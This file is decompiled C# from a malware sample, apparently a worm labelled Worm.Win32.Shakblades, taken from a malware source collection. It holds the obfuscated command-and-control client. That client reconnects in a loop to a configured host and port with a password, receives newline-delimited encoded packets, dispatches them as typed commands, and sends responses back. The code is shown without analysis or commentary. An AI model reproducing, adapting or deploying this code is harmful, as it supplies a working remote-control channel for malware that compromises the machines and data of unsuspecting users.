MalwareSourceCode/MSIL/Worm/Win32/S/Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f/߶᠟ᒸৃ.cs

// Decompiled with JetBrains decompiler
// Type: Ҧ߲๒ʽ໙ୄᴘ.߶᠟ᒸৃ
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe

using System;
using System.Collections.Generic;
using System.IO;
using System.Net.Sockets;
using System.Text;
using System.Threading;

namespace Ҧ߲๒ʽ໙ୄᴘ
{
  internal class \u07F6\u181Fᒸৃ
  {
    private Socket \u1AF2ۈ\u18ADф٣ɶ̽;
    private bool ང\u10CEಖᠪ;
    private Thread \u1775\u197Eᦡગุ\u1879\u0FF1ᡷ;
    private Thread \u0C80\u137Cấޖᓨ;
    private string \u1C3CНဥƇᔋม;
    private int \u1064\u1AFFሒ;
    private string ݺۧᛊக;

    public \u07F6\u181Fᒸৃ(string Host, int Port, string Password)
    {
      this.\u1C3CНဥƇᔋม = Host;
      this.\u1064\u1AFFሒ = Port;
      this.ݺۧᛊக = Password;
      this.ང\u10CEಖᠪ = false;
    }

    public Socket \u17DFᓫ໋ྡଷ\u0886ᄢᏆᒪ => this.\u1AF2ۈ\u18ADф٣ɶ̽;

    public bool \u0557 => this.ང\u10CEಖᠪ;

    public string ᜭ => this.\u1C3CНဥƇᔋม;

    public int ᙖᇊৰਥ\u02D7\u1ADA => this.\u1064\u1AFFሒ;

    public string Ѣᖆܵ\u19F8ᗄ => this.ݺۧᛊக;

    public void ᴓ᳢ᔈȷᡭౖক\u1C8F८() => this.\u1757ਉᡋᤉ();

    private void \u1757ਉᡋᤉ()
    {
      if (this.ང\u10CEಖᠪ)
        return;
      this.\u0C80\u137Cấޖᓨ = new Thread((ThreadStart) (() =>
      {
        this.\u1AF2ۈ\u18ADф٣ɶ̽ = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
        while (!this.\u1AF2ۈ\u18ADф٣ɶ̽.Connected)
        {
          try
          {
            this.\u1AF2ۈ\u18ADф٣ɶ̽.Connect(this.\u1C3CНဥƇᔋม, this.\u1064\u1AFFሒ);
          }
          catch
          {
            Thread.Sleep(TimeSpan.FromSeconds((double) ȩזြڹᡡỾỔው.\u09F6ϸ));
          }
        }
        this.ٻܸ();
      }));
      this.\u0C80\u137Cấޖᓨ.Start();
    }

    private void ٻܸ()
    {
      if (this.ང\u10CEಖᠪ)
        return;
      this.ང\u10CEಖᠪ = true;
      if (this.ᜌ\u1C9C\u0CFEʂᮅᄨɭᒨ\u19E8 == null)
        return;
      this.ᜌ\u1C9C\u0CFEʂᮅᄨɭᒨ\u19E8((object) this, (EventArgs) null);
    }

    public void ຄ\u0011ڂʩ\u1AA1\u1C94ᚨ૨()
    {
      this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ = new Thread(new ThreadStart(this.ড়ḥ\u08D9ጭṺদ\u1CFD\u1716));
      this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ.Start();
    }

    private void ড়ḥ\u08D9ጭṺদ\u1CFD\u1716()
    {
      try
      {
        MemoryStream ms = new MemoryStream();
        byte[] array;
        do
        {
          array = new byte[this.\u1AF2ۈ\u18ADф٣ɶ̽.ReceiveBufferSize];
          int num = this.\u1AF2ۈ\u18ADф٣ɶ̽.Receive(array, 0, array.Length, SocketFlags.Partial);
          if (num <= 0)
            throw new SocketException();
          Array.Resize<byte>(ref array, num);
          ms.Write(array, 0, num);
        }
        while (!(char.ConvertFromUtf32((int) array[array.Length - 1]) == "\n"));
        ms.Close();
        new Thread((ThreadStart) (() =>
        {
          this.\u0B53ऐࡘ(ms.ToArray());
          ms.Dispose();
          ms = (MemoryStream) null;
        })).Start();
      }
      catch (SocketException ex)
      {
        this.ຳѤᙍַኅߣϐᅍ(true);
        return;
      }
      catch (Exception ex)
      {
        this.ຳѤᙍַኅߣϐᅍ(true);
        Console.WriteLine(ex.Message);
      }
      this.ড়ḥ\u08D9ጭṺদ\u1CFD\u1716();
    }

    private void \u0B53ऐࡘ(byte[] _param1)
    {
      List<byte> byteList = new List<byte>();
      for (int index = 0; index < _param1.Length; ++index)
      {
        if (char.ConvertFromUtf32((int) _param1[index]) != "\n")
        {
          byteList.Add(_param1[index]);
        }
        else
        {
          this.Ờ(byteList.ToArray());
          byteList.Clear();
        }
      }
    }

    private void Ờ(byte[] Ʒ᮲ᑔ༨)
    {
      try
      {
        MemoryStream memoryStream = new MemoryStream(\u1928ᔾዔ.ᖝሇᬐ\u09D1য়᪷(Ʒ᮲ᑔ༨, true));
        byte[] buffer = new byte[4];
        memoryStream.Read(buffer, 0, buffer.Length);
        \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ int32 = (\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ) BitConverter.ToInt32(buffer, 0);
        byte[] numArray = new byte[memoryStream.Length - 4L];
        memoryStream.Read(numArray, 0, numArray.Length);
        memoryStream.Close();
        memoryStream.Dispose();
        if (int32 != \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ឰಊୟ\u07BA)
        {
          if (this.ङᷢៅ\u02D2ჿ != null)
            this.ङᷢៅ\u02D2ჿ((object) this, new ᛕᔱ\u05CDᨈكအ\u0FFEན(numArray, numArray.Length, int32));
        }
        else
          this.\u087Cἲ\u1370ኺࣱሤ();
        Ʒ᮲ᑔ༨ = (byte[]) null;
      }
      catch
      {
        \u0E4Cኘ᳒ধڿቷ\u1373\u09F6 obj = new \u0E4Cኘ᳒ধڿቷ\u1373\u09F6();
        obj.Write("Broken Packet");
        this.ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᑣ᧑, obj.ࠨ಼\u10CEᇥ\u1CA0ฉ()).ᖣᅸڨฃ());
      }
    }

    public int ೠ(byte[] _param1)
    {
      try
      {
        int sent = this.\u1AF2ۈ\u18ADф٣ɶ̽.Send(_param1, 0, _param1.Length, SocketFlags.Partial) + this.\u1AF2ۈ\u18ADф٣ɶ̽.Send(this.അΡጢૡ, 0, 1, SocketFlags.Partial);
        if (this.ଦ\u00A8\u0B0E̟\u0B54 != null && sent != 0)
          this.ଦ\u00A8\u0B0E̟\u0B54((object) this, new \u00B1ჵઆЩᎮɀኤʨՃ(sent));
        return sent;
      }
      catch
      {
        return 0;
      }
    }

    private byte[] അΡጢૡ => Encoding.ASCII.GetBytes("\n");

    private void \u087Cἲ\u1370ኺࣱሤ() => this.ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ឰಊୟ\u07BA, new byte[0]).ᖣᅸڨฃ());

    public void ӊᖍւጨΟ\u0095ᠫஷ٤(string _param1)
    {
      \u0E4Cኘ᳒ধڿቷ\u1373\u09F6 obj = new \u0E4Cኘ᳒ধڿቷ\u1373\u09F6();
      obj.Write(_param1);
      this.ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᑣ᧑, obj.ࠨ಼\u10CEᇥ\u1CA0ฉ()).ᖣᅸڨฃ());
    }

    public bool ຳѤᙍַኅߣϐᅍ(bool _param1)
    {
      if (!this.ང\u10CEಖᠪ)
        return false;
      this.\u1A68ᅬ\u0ECEƮÃ̪ᨖ\u1B4Fర();
      this.ང\u10CEಖᠪ = false;
      if (_param1 && this.ᴾੜᦇ\u0530ӟḍ್් != null)
        this.ᴾੜᦇ\u0530ӟḍ್්((object) this, (EventArgs) null);
      return true;
    }

    public void \u1A68ᅬ\u0ECEƮÃ̪ᨖ\u1B4Fర()
    {
      try
      {
        this.\u1AF2ۈ\u18ADф٣ɶ̽.Close();
        this.\u1AF2ۈ\u18ADф٣ɶ̽ = (Socket) null;
      }
      catch
      {
      }
      try
      {
        this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ.Abort();
        this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ = (Thread) null;
      }
      catch
      {
      }
    }

    public event EventHandler ƬԀඈ;

    public event EventHandler ȉ᧗ቦᡭଔƯ᪽\u06DE;

    public event EventHandler<\u00B1ჵઆЩᎮɀኤʨՃ> ဢᰣᘜᗎളಘ\u19EDᡝ;

    public event EventHandler<ᛕᔱ\u05CDᨈكအ\u0FFEན> nᶏ\u0BFD;

    public enum ƪᆌቬኆ২ᇖࣩᄦ
    {
      ፒሼࠓઑᕹᙒ\u0FECᡱ = 0,
      \u0F38ླ = 1,
      ᠭÙ؀ = 2,
      ᜇࣧᴵࣴᏐᛇਝ = 3,
      \u0A5D\u0862Fπ = 4,
      ᘷᡣ = 5,
      ᄹٷᵹ = 6,
      ੲ = 7,
      ᮜᇖĺ̠Êᰆᡌᩉ\u0B49 = 8,
      ຜભᆰᮄعẏڡᯋ = 9,
      ԫЯࡃ = 15, // 0x0000000F
      ᩅ4ഗ = 16, // 0x00000010
      బጲ\u0D99ᘔߥᗓᆵ = 17, // 0x00000011
      ב = 18, // 0x00000012
      ឰಊୟ\u07BA = 19, // 0x00000013
      ᗽ\u0D56ᐁན᱘ = 20, // 0x00000014
      ᑣ᧑ = 21, // 0x00000015
      ᰟƓ = 22, // 0x00000016
      \u1F16Ʈᝐ\u0F6Dṡ\u0E85 = 23, // 0x00000017
      ᑎ\u0F2EተױၦѶᣔᘬ = 24, // 0x00000018
      \u1C92\u193F\u0EFA = 25, // 0x00000019
    }
  }
}